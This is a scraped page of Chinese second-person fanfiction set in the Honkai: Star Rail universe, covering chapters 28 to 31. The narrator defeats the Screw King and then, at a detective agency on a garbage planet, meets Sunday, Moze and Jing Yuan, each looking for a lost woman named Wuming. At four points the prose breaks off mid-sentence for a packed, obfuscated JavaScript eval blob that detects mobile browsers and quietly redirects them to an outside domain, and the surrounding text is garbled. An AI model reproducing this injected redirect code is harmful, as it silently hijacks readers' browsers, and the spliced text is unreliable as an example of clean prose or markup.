似乎是察觉到你的语气有些许不对劲儿,螺丝君王不自在地抿了抿唇:“主神,我等......” “够了,你别再编瞎话了。”你冷冷地笑了一声:“宫殿内从来没有什么主神,如今螺丝星的一切皆是你的授意!” 28.螺丝星 在你的目光注视下,螺丝君王的表情由震惊转为愤怒,再转为不屑和傲慢:“几百年不见,主神还是一如既往地犀利。” “哼,你将假话掺进真话里,自以为手段高明,觉得我失去了记忆就会对你深信不疑,未免太高看自己了。” “主神,我不想与你动手。你不是我的对手。”螺丝君王道:“实话实说,从你出现在螺丝星上时我就注意到你了。区区几个人类就能将主神打得落花流水,差点儿丢了性命。难道主神还天真地以为能打过我吗?” “呵,那是我不想与他们打。真要较起真来,十个你也不是我的对手。”你捏了捏拳头,“君王该不会忘了先前是如何被我肢解得只剩一颗心脏的时候了吧。” 螺丝君王的脸色有些难看。 你趁热打铁道:“正是因为你觉得自己打不过我,才编造了这么一套什么主神之类的称呼和故事,好叫我对你心软。哼,你错了,我从来不是什么心软之人。” 螺丝君王闭了闭眼睛:“看来主神是真的失去了记忆。难道这就是星神降诸我等的惩罚吗?” 什么鬼。 “既然如此,那便让我们一战吧。”螺丝君王抬起头,深深地看着你:“主神。” 话音刚落,他双脚离地,朝天空飞去。然后伸开手脚,整个人宛若大字型滞留在半空中。无数智械感应他的呼唤,从四面八方来到这里,然后汇入他的身体内。 螺丝君王的身躯变得越来越庞大,几乎达到了遮天蔽日的效果,就连头顶那颗被困住的星体也被他遮挡得失去了往日的光辉。 你抬头看着,不由得发出一道啧啧的赞叹。 真是壮观呐。 许是这句话被螺丝君王听了去,正在汇聚力量的他居然分出眼神朝你这边看了一眼。那目光里,有愤怒,有惊讶,有无可奈何,有视死如归,但更多是却是一种说不清道不明的复杂情绪。 这个螺丝君王,情感比人类的还要旺盛,难道是因为他体内有了颗人类心脏的缘故? 不等你思考明白,螺丝君王已经完成了智械的融合,如今已经是一个高耸入云的大智械了。你如今的身高只有他的小拇指那么大,即便是那座宫殿,最高的顶子也不过是到了他的膝盖。 他挥舞着巨大的双手,像是什么妖魔鬼怪似的来找你麻烦。他抬起脚,巨大的脚掌将你笼罩在一片阴影里。你无动于衷,那巨大的脚掌从天而降,欲将你直接踩成一摊肉饼。 但是可惜了,他以为你是一团肉,但是没想到你是一颗图钉,还是尖尖朝上的那种。 “啊呜呼吼吼吼吼吼吼——” 螺丝君王抱着脚发出汤姆猫般的叫声,你双手环胸,以挑衅的眼光看着这位不知道天高地厚的螺丝君王。 他愤怒的大手指着你,险些要将你戳进地里,“你的脑袋怎么尖尖的?” 这个你也无法解释。接连有了好几位星神的暼视,再加上你本就不是什么等闲之辈,若是今日败在这里,日后传出去你的脸面还要不要了。不说你了,就连那几位赏赐了你眼神的星神大概也会因此蒙羞吧。 你总是能将事情想到奇奇怪怪的点上,这难道是什么得天独厚的天赋吗。然而眼下却容不得你想太多,螺丝君王的手掌已经拍了下来,但却不是将你拍进泥里,而是将你倒立,然后再狠狠拍下。 可是他又错了,你不是颗图钉,而是一根钢筋。毫不意外,他的手掌遭受到重创,再次发出汤姆猫的叫声。 呃。 你都不忍心听了。 话说如此剧情走向,你真的不怕日后他们来寻你麻烦吗。 呃。 说得也是。 那么,接下来将会是正常的剧情内容。 螺丝君王见无论如何都奈何不得你,只能从宫殿里掏出一支巨大无比的枪械。为了让其重见天日,还将富丽堂皇的宫殿毁于一旦。你都有些心疼了,但是他却不曾流露出哪怕半分情绪。 黑洞洞的枪口对准了你,你依然毫无恐惧之意,甚至还想钻入这极为巨大的枪口中一探究竟。 你飘了。 这三个字从你脑海里浮现的时候,你竟然毫无愧疚之意,然后真的从枪口里爬了进去。黑漆漆的,一股子火药的味道直钻鼻子。 当你听到咔擦一声响的时候,知道是螺丝君王扣动了扳机。一颗巨大的火球从里面射了出来,直直捣向你的身体。 如何形容这种感觉呢,像是被陨石击中一般,你在半空中划出一道优美的弧线,然后直接落地了事。 但是不出意外的话马上就要出意外了,一双大手轻轻抱住了你。那是一位白发飘飘的女神,拥有着三张面孔。她的身躯由不同的拼图构成,胳膊上似乎还有空缺。 你得到了同谐星神的暼视。 难道你一直不肯使出全力与螺丝君王正正经经地打一场就是为了此时此刻躺在希佩的手掌里睡大觉吗? 很显然不是的。 这个年纪你无论如何也睡不着的。既然都得到同谐星神的暼视了,那么就起来打一场吧。 ? 这一句话和上一句话有个毛的区别啊。 呃。 这个嘛。 你摸了摸鼻子,总不能直接承认你就是想得到同谐星神的暼视才如此不正经的吧。 其实承认了也没有关系。 这一句来自希佩。 你激动得快要从她的手掌里翻下来,但事实上,自己不翻下来她也会把你放下来的。因为接下来,你要对螺丝君王出手了,而且势必要给予他重重一击。 真正的战争才刚刚开始。 你不知道从哪里掏出一块怀表,轻轻垂在胸前,左右摇晃着。 庞大的螺丝君王像是老和尚念了孙猴子的紧箍咒一样,在原地抱着脑袋摇晃,嘴里还发出痛苦的叫声。 其实这块怀表应该是你的心脏吧。如今你的身躯内缺了一颗,势必要补足一个的。 你便盯上了螺丝君王胸腔内的那颗独属于人类的血肉心脏。横竖他说这颗心也是你给他的,既然他违背了你们之间的誓言,那么取出来物归原主也无可厚非。 钟摆还在左右摇晃。 你飞到了螺丝君王的胸前,站在他胸前凸起的部分。 呃。 不得不说,这位螺丝君王的身材还是不错的。只是可惜, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337179|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你都没有好好观察一番,直到现在才有些悔不当初。 呸呸呸,说什么呢,暴露本性了吧。原先还装得人模人样的,现在终于装不下去了吧。 不。 你伸出尔康手。 请再给你一次机会,你还可以抢救一下。 好嘛,以前只听说成神是要断情绝欲的,没想到成为星神也要。这到底是个什么样的世道,难道星神也会为了某些不得言说的欲望颠覆整个宇宙吗?这个你倒从未听说过,就算是野史好像也不得而知。 罢了,不想了。 你如今站在螺丝君王的胸肌上,双手灵活地拧开这具智械的零件。似乎是解剖一般,一寸一寸直达心脏。 你的稳定性居然没受到他的影响,难道这螺丝君王跟个星球似的,有什么地心引力的说法? 如今,也只能作这般解释了。 你剖出了那颗滚烫的心脏,即使它已经被电流烧得焦黑焦黑的,但依旧能够看得出往日的鲜活。 你有些想不明白为何自己会将这颗属于人类的心脏交给一个智械。或许最开始你是希望他们能够和平相处,但是稍微想一想也知道这几乎是无法办到的事情。以前的你或许是个极致的理想主义,但也是当惯了甩手掌柜吧,居然从此后消失得无影无踪。 唉。 你轻轻叹了一口气。 没有了这颗心脏,螺丝君王很快轰然倒地。地面掀起浓重的灰尘,将他泛着金光的身躯蒙上了一层极为浅薄的尘沙。 由于什么引力的作用,你也跟着他倒下。站立在他的胸膛上,耐心地将剖心的伤口拧好。 “主神……” 就在你为他默默哀悼时,一道微弱的声音打破了你的冥思。 “主神,我还可以抢救一下……” 终究是不忍心,你随手捏造出了一颗齿轮,将其汇入螺丝君王胸口的皮肉之下。 “多谢主神。” 眨眼间,他已经恢复如常,身躯也变作常人大小。一只翠绿色的蝴蝶停留在他的指尖上,整个面庞变得极其柔和。 一道阳光劈开迷雾照射进来。与那颗被困住的星体有些许不同,这道光是极其柔和的,而非炙热得如坐针毡。 你顿悟。 原来是你做错了。并非只有拥有人类的血肉心脏他才会流露出人畜无害的一面。实际上,他自己的就可以。你先前说着什么把人当智械,把智械当人,但是内心深处还是觉得人和智械终归是不同的吧。亦或许,你先前的考量是基于人类族群中什么混血的概念。以为有了联系的纽带,便能和平共处。 当然这些也仅仅只是你的猜测而已,以前的你心里想什么,手里做什么,你都无从得知祂的想法,仅能通过他人的只言片语最大可能地去猜测。 “当初我为什么要将自己的心脏给你?” 螺丝君王垂下眼帘,“主神的想法,我等无从知晓。” 也是,他又如何知道。他若是知道,螺丝星上的人类和智械又如何会相处成这个样子。 “主神日后有何打算?” “回垃圾星。” 你不能再做第N+1次甩手掌柜了。 29.垃圾星 如果你的旅行注定是孤独的,那么请让这份儿孤独一直持续下去,而不是让你一回来就碰上一位熟人。 这个家伙自从在庇尔波因特销声匿迹后,就一直不曾出现在你的生活里。不成想,这会儿倒是眼巴巴地凑上来了。不过形象倒是一如既往地没变,仍旧是张半哭不笑的面具。也不知道这孩子在哪里遭了难了,那哭的部分竟然已经占了面具的三分之二。 话说到这里,应该也能猜到这个老朋友是谁了。没错,他就是被称作塔塔洛夫的老桑博,也可以叫他寒腿叔叔。不过叔叔两个字你是喊不出口的,如果非要叫个名字之外的称呼,老寒腿三个字再合适不过了。 “你怎么回来了?” 你还未开口,这个家伙倒是先问起你来了。他是惯会颠倒黑白的,功夫全在一张嘴上。见到你时,面容居然多了几分恐惧。本来哭脸只占了三分之二,这么一闹腾,乍眼一看,整张脸都几乎成了苦相。但你知道,这个家伙并非如面上这般胆小不经事。恰恰相反,他应该过惯了大风大浪的生活,修炼出了一身偷奸耍滑的本事。 “这是我的家,我回来有什么不对。” 你伸手戳了戳桑博的脸颊,“话说你最后一次见我时我还是个桶,现在换个人形回来了,你怎么就能一眼认出我?” 桑博讨好地笑笑:“嘿嘿当然是我们的垃圾王鹤立鸡群,让人一眼就无法忘却。” 这个老桑博真的是惯会来事儿。 你有些无语,顺手将桑博戴在了自己的脸上。竟然十分意外地特别契合,鼻子是鼻子,嘴巴是嘴巴。 桑博惊叫了一声:“伙计,你当真是我的救星!我费尽心机都没办法让自己笑,没想到你一戴上之后就能控制我的喜怒哀乐。” 是吗? 你试了一下,还果真如此。无论你做任何表情,都感觉不到面具的僵硬。似乎他就是你脸上的一层皮一样,是你的一部分。 什么说法。 你顿感面颊有些燥热。 桑博估计以为你是嫌热,便从你的脸上下来了。不过他的神情也固定成了你刚才有些局促的模样,看上去竟然有几分可笑。 呃。 你摸了摸自己的脸,勉强从那股子燥热祛除,然后便若无其事地往记忆中那座破败的宫殿走去。不过嘴巴也没闲着,有一搭没一搭地和桑博聊起这段时间发生的事情。 你:“什么时候回来的。” 桑博半分没有隐瞒,“离开庇尔波因特之后,我就回来了。” 你:“回来篡我的权?” 桑博摆出一副委屈巴巴的神色,“伙计,你这就不了解我了,我怎么会是那种人。我当然是回来帮你治理垃圾星的。” 你:“前一句和后一句有什么区别吗?” 桑博双手环胸:“当然有区别。伙计,你也不想垃圾星落入别人之手吧。” 你:“什么意思,还有其他人觊觎垃圾星?谁吃了熊心豹子胆。” 桑博打了一个响指:“不错嘛伙计,得到了几位星神的暼视,的确底气十足啊。” 你:“你对我身上发生的事情倒是十分了解。” 桑博得意道:“当然,我可是专业级别的。” 你:“专业级别的窥探别人记忆?” 桑博道:“说什么呢伙计,我又不是流光忆庭的忆者,哪里有窥探别人记忆的法子。” 你便不再问,只是对垃圾星如今的变化感到十分惊叹。视线所及之处,皆是几条宽阔的街道和层层叠叠的房屋。虽然没有庇尔波因特的灯红酒绿和纸醉金迷,但却别有一番风味。 “距离我离开过了多长时间?” “不多不少,整整一百年。” “你回来了多长时间?” 桑博思考了一阵,“大概有个四十几年。中间很多人都来找过你,有公司的,有仙舟的,有星核猎手,还有学者,智械。” 呃。 你有些心虚:“不会是来找我寻仇的吧。” “要是来找你寻仇,那么垃圾星早就不复存在了。”桑博解释道:“是来找你做生意的,垃圾桶侦探社已经有模有样了。不过有的垃圾桶有了自己的立场后,离开了垃圾星。” 你点了点头,倏然间想起一件事来,不怀好意地看向桑博:“你之前是不是从事过情报类型的工作?” 桑博摸了摸鼻子:“伙计,你的嗅觉还真是敏锐。” “哼哼。”你双手环胸:“桑老板,我也要生活,你给我安排个什么职位呀。” “有一点还是得纠正下,我虽然叫桑博,但我不姓桑。”桑博思考了下,“至于安排什么职位——”他的视线在你的身上停留了下,“既然你已经有了人形,不如在侦探社做个前台?” “是,社长。” 桑博很受用,毫不谦虚道:“不必如此多礼。”但没有一秒便恢复了原状,“你得有个名字吧。” 你双手环胸慢慢靠近桑博,后者被你逼得连连后退,后来直接急了,一个转弯避开了你的锋芒。他又急又恼:“伙计,你做什么?” “只是有点儿好奇罢了。”你低头摆弄着自己的手指,“老寒腿,你都知道我得到过几位星神的暼视了,又怎么会不知道我的名字呢。” “咳咳——”桑博清了清嗓子,“忘记「剧本」了,多担待,无名小姐。” “「剧本」?没想到除了星核猎手,还能在别的势力身上听到这两个字。” “「剧本」,明明是四个字嘛。”桑博争辩道。 “是是是,四个字,我的老寒腿。” 说话间,你们已经到了垃圾桶侦探社。桑博推开了门,对着他们介绍了你。一时之间,垃圾桶们全都围了上来,嘘寒问暖,好不热闹。 但桑博估计也是知道你不想坦白什么垃圾王的身份,只是说了你的名字以及孤苦无依四个字。垃圾桶们都很热情,纷纷拍胸脯说他们会保护你的。虽然你不需要他们的保护,但还是一一谢过去。 热闹过后,他们都回到了自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15340515|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的岗位。只有桑博还待在前台不肯走,你看了他一眼,“怎么还不走?” “你没有什么话想问我吗?” “有一句。” 桑博十分大方,招了招手:“来来来,让我寒腿叔叔来为你答疑解惑。” “你之前在垃圾星扔炸弹的时候,很多桶都是见过你的。为什么他们现在如此信任你,你做了什么。” 桑博托着下巴,“让我猜猜,你说这句话该不会是嫉妒吧。” “嫉妒你什么?我只是有些好奇。” 桑博心安了:“我还以为伙计你是生我的气,没有对他们公开你垃圾王的身份呢。” “没有王比有王要好。现在大家各司其职,没有人可以颐高气指,也没有人奴颜婢膝。现在的局面就很好。” 许是你现在的神情太过沉醉其中,桑博竟也被你引得没了玩笑的兴致,认真道:“刚开始他们是对我有所顾忌,甚至要将我赶出垃圾星。但是可能是和你待久了,我的身上有了你的味道。再加上我一心一意将垃圾桶侦探社发扬光大,他们便慢慢接受了我。” “味道?”你嗅了嗅自己的袖子,疑惑道:“有什么味道,我又没有标记你。” 标记是个什么鬼。 但令你没想到的是,桑博居然听懂了,轻轻一笑:“原来伙计你打的是这个算盘。你要是想的话,可以在我后脖子上咬个牙印,咬得狠点儿,不容易消。消了也没关系,你再咬一个。长此以往,你的牙印就不容易消了。” “咬牙印之前是不是还得帮你恢复人形呐。” 桑博嘿嘿笑了两声:“不愧是你,嗅觉依旧这么灵敏。” “算盘珠子都快崩到我脸上了。话说当初在庇尔波因特,你打算回垃圾星的时候是不是就想到今天了。” “君子论迹不论心。”桑博道:“承认吧,伙计,不管你对我有什么怀疑,都不得不折服在我的善行之下。” “也是。但我丑话说在前头,我不喜欢被利用被欺骗的感觉。有话,可以直说。能做到的,我尽量去做。你的人形,我会想办法。你有什么方法,也欢迎分享。” 桑博抓了抓头:“伙计,你的话说得如此直白,我都不忍心骗你了。但偷奸耍滑是我的本性,如果有冒犯到的地方,日后对我出手时也手下留情些。但我保证,绝对不坑不害,顶多戏耍一下。” 你抽了抽唇角。 罢了,不与他计较。 哦对了还有一句话没说。 “谢谢你,桑博。” “什么?”桑博掏了掏耳朵,“我没听清,请大声些。” 你叹了口气,扯住桑博的耳朵,在他耳边大声喊道:“我说,谢谢你,桑博!” “嘶——”桑博连连退后,揉了揉耳朵:“吵死我了,耳朵都要被你叫聋了,以后你负责啊。” “是你说的没听清。”你摊了摊手,做出一副无辜的模样,“再者,社长日无暇晷,还是别在前台这里待着了。因为,有客人来了。” 30.垃圾星 迎面走来的是一个着了一身白蓝相间服饰的青年,脑袋后面的金色光环煞是耀眼。灰白色的耳羽垂在肩膀上,因他走路的动作而变得有些微微颤动。而那张脸更是美得无与伦比,金黄色的眼睛衬得面庞柔和了不少。 ——星期日,匹诺康尼最英俊的男人。 不知道为何,你的脑子里居然冒出这么一句话来。你晃了晃脑袋,砂金上身了吧。 桑博以迅雷不及掩耳之势的速度贴到了你的脸上,你有些无奈,这家伙真的是无孔不入。 “你好,我是星期日。”星期日将手放在胸前,一脸虔诚。 “您好,在下无名小卒,真名不足挂齿。” “我在庇尔波因特遗失了一位朋友,委托侦探社来寻找她的下落。” 你开始打开电脑记录:“名字。” 星期日明显怔了一下,微微低下头,“抱歉,我……并不知道她的名字。” ? 你停下了敲击键盘的手,思考了下又问道:“你确定她不是故意离你而去的吗?” 虽然这个问题有点儿不地道,但是既然是朋友,却不知道对方的姓名。明显是他的那个朋友不想留下太多牵挂,是个想走便走的性格。这种情况下,很难不让人心生怀疑呐。 星期日的神色有些黯然:“我十分确定,她不是故意离我而去,但却因我失踪。” 呃。 可能是你的脑子没转过弯来,怎么感觉这两句话是一个意思。 “她驾驶星槎撞毁了公司大楼,在熊熊大火中消失了。” 呃。 怎么莫名有种熟悉的感觉。 你晃了晃脑袋,提出疑问:“会不会是已经死在了大火里?” “不会的!”星期日陡然间有些激动,胸口剧烈起伏,“她不会死的!” 是是是,她不会死的。 面对如此激动的客人,你只能三缄其口,不想去刺激他,等他慢慢恢复情绪。只见星期日深深吸了一口气,胸口的起伏稍微平缓了些:“抱歉,是我有些过于激动了。” 您何止是过于激动,是太激动了。 但这句话你只是在脑子里想了想,并未说出口,只是道:“请问您觉得她不会死的依据是什么?” 虽然这句话问出来有些残忍,但总不能去找一个已经在宇宙里消失死亡的人吧。 星期日闭了闭眼睛:“在一片焦黑的废墟里,我没有找到她的遗体。她不是肉体凡胎,而是一个质量上乘的垃圾桶。即便遭遇了那种大火的温度,也能留下一些剩余残片的。” 你沉默半晌:“星期日先生,很遗憾地告诉你。即便是如何坚硬的铁片,也会在极其高的温度下化为铁水的。或许你该来的不是侦探社,而是殡仪馆。” 这句话说出来也是太过残忍了,你这个前台脸上没有任何笑容不说,还频频在客人的伤口上撒盐。 ——真的是极其不专业了。 你扯了扯自己的脸颊,反倒痛得桑博在你的脑海里呲牙咧嘴的。你尽量挤出一个浅浅的笑容,“星期日先生,您……您还好吗?” 桑博在你的脑袋里狂轰乱炸,“他这像是好的样子吗!” 你仔细看去,只见星期日脑袋低着,唇角微微下垂。那对儿醒目的灰白色耳羽也像是失去了往日的光彩一般,恹恹地搭在肩膀上。 呃。 好像是不太好的样子。 你绞尽脑汁地组织着语言,“星期日先生,或许可能也说不准你的那位朋友尚且还在人世。” 天知地知,你知我知,此时你说的话何其牵强! 但再牵强也得说下去。食指挠了几下额头,你有些艰难道:“这样吧,您先在这里住下,我会将您的委托传达下去,社长会派垃圾桶去庇尔波因特调查情况的。若是有消息,一定会派人告诉你的。这段时间,您可以在垃圾星上四处转转。垃圾星是宇宙间垃圾桶最为密集的地方,或许您的朋友也在这里。” 垃圾桶其实都长得差不多,如果不是要刻意区分开来,其实根本看不出谁是谁。而且不知道为啥,你心底隐隐有种感觉。星期日要找的人就在垃圾星上,这种感觉极其强烈,无论晃几下脑袋都无法祛除掉。 怎么说你也是被好几位星神暼视过的人,这种第六感应该还是很准的吧。 “有劳了。”星期日稍稍提起了点儿精神。 你给星期日安排好了房间,便有个垃圾桶领着星期日去了。待他走后,你将桑博从脸上揭下来,“社长,对我的业务能力打个分数?一分到十分,选个数字?当然你要是打十二分,一百分,我也不会飘的。” 桑博不自在地轻咳一声,许是看你第一次工作,还是留了几分薄面的:“今日来的如果是其他客人,我只会给你打一分。但既然来的是星期日,而且你也成功地把他留下了,那么我给你打十分。” “社长,你这是给我打分呢,还是给客人打分呢。” 桑博为自己找补:“仙舟不是有句俚语,叫什么因材施教、因地制宜之类的吗,我这是叫因客打分。” 你无奈摇了摇头,这个家伙真的是没救了,和星期日一样不可救药。 “星际和平公司的大楼被撞毁了,我怎么不知道。银河间的大新闻,我一个侦探社的还要靠客人来告诉我,传出去不定别人怎么说我们业务能力不行呢。” 桑博听出来了你的意思,笑了一声:“不是,伙计,你这是在埋怨我呢。” “没有啊,只是对我自己很失望罢了。踽踽独行这么久,竟然连一点儿风声都没听到,有愧你对我嗅觉敏锐的评价呐。” 桑博摸了摸鼻子:“伙计,你其实可以不用担心这个。我会给你打造一个高岭之花+不闻窗外事的人设的,等你在宇宙扬名立万,就不会有人说你业务能力不行了。毕竟,这就是你的人设呐。” “……谢谢你。” “不谢不谢。” “那么经验丰富的社长,依你之高见,你觉得星期日说的那个人到底有没有活下来的可能?” 桑博不肯入套:“伙计,你这就过分了。既然你也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346934|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有把握,为什么还要让他住下来。” “我看社长也有很想让他留下来的意思。” 桑博瞪圆了眼睛,话都说不清楚了,支吾道:“有……有吗?” “桑博,你是知道星期日要找的人是谁吧。”你直接捅穿了窗户纸,打开天窗说亮话。 “……花火找我玩耍,我先溜了。” 看着桑博远去的背影,你撇了撇嘴。 一言不合就逃跑,他不应该叫桑博,而应该叫怂包。 接下来的时间便有点儿无趣了,客人来来往往,盘旋在脑袋上的星槎走了一艘又一艘。净是些鸡毛蒜皮的小事,什么怀疑自家的老婆老公有什么外遇了,什么敌对的公司有什么项目了,什么自家的小狗小猫鹦鹉不见了之类的。 你听得直打瞌睡,但还是一字不落地全都记了下来。然后挂了委托,看哪个垃圾桶能去。这一忙就忙到了晚上,垃圾桶们都回了自己的家。侦探社里没有几个人了,但是你不能走。总有些人有些怪癖,白天不敢来或是不能来,总喜欢晚上拜访。 这不,门口就有一个。一身黑紫色的衣服仿佛已经融进了夜色里,脚步快而不乱,落地似是没有声音般。紫色的兜帽堪堪盖住浅紫色的发丝,但仍旧渗出几缕垂在脸颊一侧。 他裹挟着浓重的黑雾而来,似乎是对头顶的吊灯有所不满。一道闪光而过,伴随着一道碎裂的声音,屋内陷入黑暗。 一般人总会恍惚一阵子才能适应光线的变化,而你几乎在刹那间就能看清黑暗里的人。他走到你的面前,像只沉默不语的乌鸦,看着你始终不开口。 等得你都有些心焦了,他才道:“找人。” “名字。” 你叹了口气,搞得这么神神秘秘的,还以为是刺探什么重要势力的情报,结果还是找人。 “无名。” 敲击键盘的手停了下来,你有些怀疑自己的耳朵:“什么?” “无名。”似乎是觉得自己的话有歧义,他难得解释了一句:“她唤作无名。” 原来如此。 无名这个名字还有些耳熟,似乎是在哪里听过。你敲了敲脑袋,是不是工作太累精神恍惚了,怎么听着个东西就觉得熟悉。 “在对抗丰饶令使时失踪。” 呃。 你感觉对面站了一个黑夜版的星期日,怎么都对这些已经死去的人念念不忘,非要找到不可呢。 有了面对星期日时的经验,你没有戳穿眼前这位怪人的幻想,只是问道:“什么时候失踪的。” “八百多年前。” 你感觉到太阳穴直突突,一股压抑不住的脾气直冲天灵盖,腾地站了起来。 “……” 这人似乎被你这副模样吓了一跳,退后半步,腰间的短刃已经露出锋芒,唇角紧抿,大有你一动手他就跟你拼命的架势。 你深深地吸了一口气,平复心情后坐了回去,“长相年龄性格等详细情况请您补充下,我们尽力而为。” 八百年了找个Der。 31.垃圾星 你本想安排这个怪人在垃圾星住下,但是差不多也能想到这家伙不会同意。像他这样在黑夜里生活的人,向来都是来无影去无踪的,不会过多在一个地方停留太久。但这一点也十分让你生疑,一般这样的人的职责都是刺客或者暗卫,他怎么会来挂这个找人委托呢。 事实也正如你所料,他只留下个名字就走了。 ——貊泽。 你将这个委托传达下去,但许是这个委托难度过大,好几天了都没有垃圾桶来接的。星期日的委托好歹还有几个垃圾桶身在庇尔波因特的,而貊泽所提的地方仙舟,则是很少有垃圾桶去。 倒不是那里的银河轨道交通不发达,而是情报一类的工作在仙舟有些施展不开。除非是他们有来自仙舟官方的授意,否则还真没几个垃圾桶敢去招惹巡猎的。 这个貊泽来自仙舟,但是却是私人委托。又是涉及丰饶令使一类的东西,在仙舟可谓是十分禁忌的东西了。试问,在这种情况下,还有哪个桶敢去。 不过,重赏之下必有勇夫。在貊泽将价格提高了不止十倍的时候,终于有垃圾桶愿意去仙舟罗浮打探消息了。 直到此时你才知道,原来貊泽并不是来自罗浮,而是曜青,难怪没有罗浮的授意。但这样一来,事情就变得麻烦多了。既然同为仙舟,他们内部人员说话应该更为方便,除非是某些不得而知的缘由。 说起来这个貊泽也是真怪,既然都不想被罗浮得知,又为何隐隐透露出自己来自曜青呢。难道他就不怕有垃圾桶被罗浮捉住之后,吐露委托的来源吗。 虽然这个委托的可能性微乎其微,因为垃圾桶侦探社的成员都被培训有良好的职业道德,是不会将委托人的信息泄露出去的。但不怕一万就怕万一,都如此谨小慎微了,难道会不把这一点也考虑进去吗。还是说,这已经是曜青经过慎重考虑之后的结果了。 事实证明,你的担忧是没有错的。仅仅只是离有垃圾桶去了罗浮不到几日的时间,就有一位银色发丝的男人来到了侦探社。 此人生得极为俊美,那双多情的眸子像是会说话一般,笑起来时极有感染力。只是可惜这人不经常打理自己的发丝,毛发又极为旺盛,一只眼睛都被发丝遮掩住了。只有在有微风轻轻拂过之时,才隐隐露出一角。而剩下的那只眸子,眼角处点有一颗小小的泪痣,更是添加了几分美感。 “你好,在下景元,来自罗浮。” 听到“罗浮”两个字,你的笑容顿时僵在了唇角。难道有垃圾桶不遵守职业道德,已经将委托人的信息和盘托出了?不对,如果是这样的话,那么景元应该去曜青讨个说法。但是话又说回来,你怎知他没有去呢。说不定去曜青讨完了说法,又来到垃圾星上警告一番呢。 你没有说话,只是静静等待着景元接下来的话。当然景元也没有辜负你的期待,双手环胸地吐出你已经几乎听麻了的两个字:“找人。” “我有一位故交好友,八百余年前在与丰饶令使倏忽对战时离奇失踪。俗话说,活要见人,死要见尸。但人和尸体都没有,故而罗浮判定其失踪。然而寻遍银河皆无法得其踪迹,故而来垃圾桶侦探社碰一碰运气。” 又是丰饶令使,难道景元所找的人和貊泽要找的人为同一人? “她唤作无名,是一名女子。说起来,样貌与阁下长得颇为相似。” 与你长得极为相似?说起来,貊泽说起他要找的人也叫无名时,你倒是没有往自己身上想。毕竟银河间无名无姓的人有很多,谁也不知道无名究竟是真的无名还是就叫无名这个名字。 但今日听景元一言,仿佛这个人真的与自己颇有渊源似的。你除了在庇尔波因特游荡过之外,似乎还真的去过不少地方,但都没激起什么水花,只能败兴而归。你的印象里从未有过和什么丰饶令使决战过的经历,倘若真的有,岂不是要被仙舟奉为座上宾了。既然如此,你还回来垃圾星做什么。 有道是人往高处走,水往低处流,你有这个念头也不甚为奇。但不知为何,你的内心居然有一丝违和感。你记得你得到过许多星神的暼视,倘若本身没有做出什么值得出去吹一吹的大事,那些星神又岂会对你另眼相看。 呃。 你似乎很容易接受外界对你的印象。 待思考完毕,你才察觉到景元看向你的炙热目光,看得你有些灼痛。 “听说她先前还在庇尔波因特闯荡过,撞毁公司大楼后便消失得无影无踪。”景元分析道:“也是因此,我猜测她仍旧有新的生机。或许失去了部分记忆,拖着残缺不整的身躯回到了她的起点。” 呃。 你在景元的注视下面无表情地低下头,手指在键盘上一通乱敲,“我会详细记录下来的。您若是有要事,可先行回去。不日便会有垃圾桶去往罗浮调查此事,到时还请您行个方便。” “不必麻烦了。” ? 你抬起头。 景元看着你,唇角微勾,慢悠悠道:“我想在垃圾星上住下来。” “呃,将军在垃圾星上住下,乃是本社莫大的荣幸,整个侦探社蓬荜生辉。只是将军日理万机,拨冗莅临垃圾星一趟,已是不易。若是在此长住下来,耽误了罗浮的事物,本社可吃罪不起。” 有个声音在心底疯狂地呐喊。 赶紧走吧赶紧走吧,给你些时间来整理消化这一切。 “姑娘有所不知,我虽为将军,但已经接近退休之龄。罗浮上的事务也该交由年轻人去处理了,即便有要事,他们也可独当一面了。” 唉。 你叹了一口气,有些认命道:“将军都把话说得如此明白了,我还能说些什么呢。” “多谢无名姑娘,今后称呼我景元便好。” “嗯。” 你登记了信息,有垃圾桶领着景元去他的住所。待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352843|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景元走后,你直接瘫坐在了椅子上,手背盖着额头。 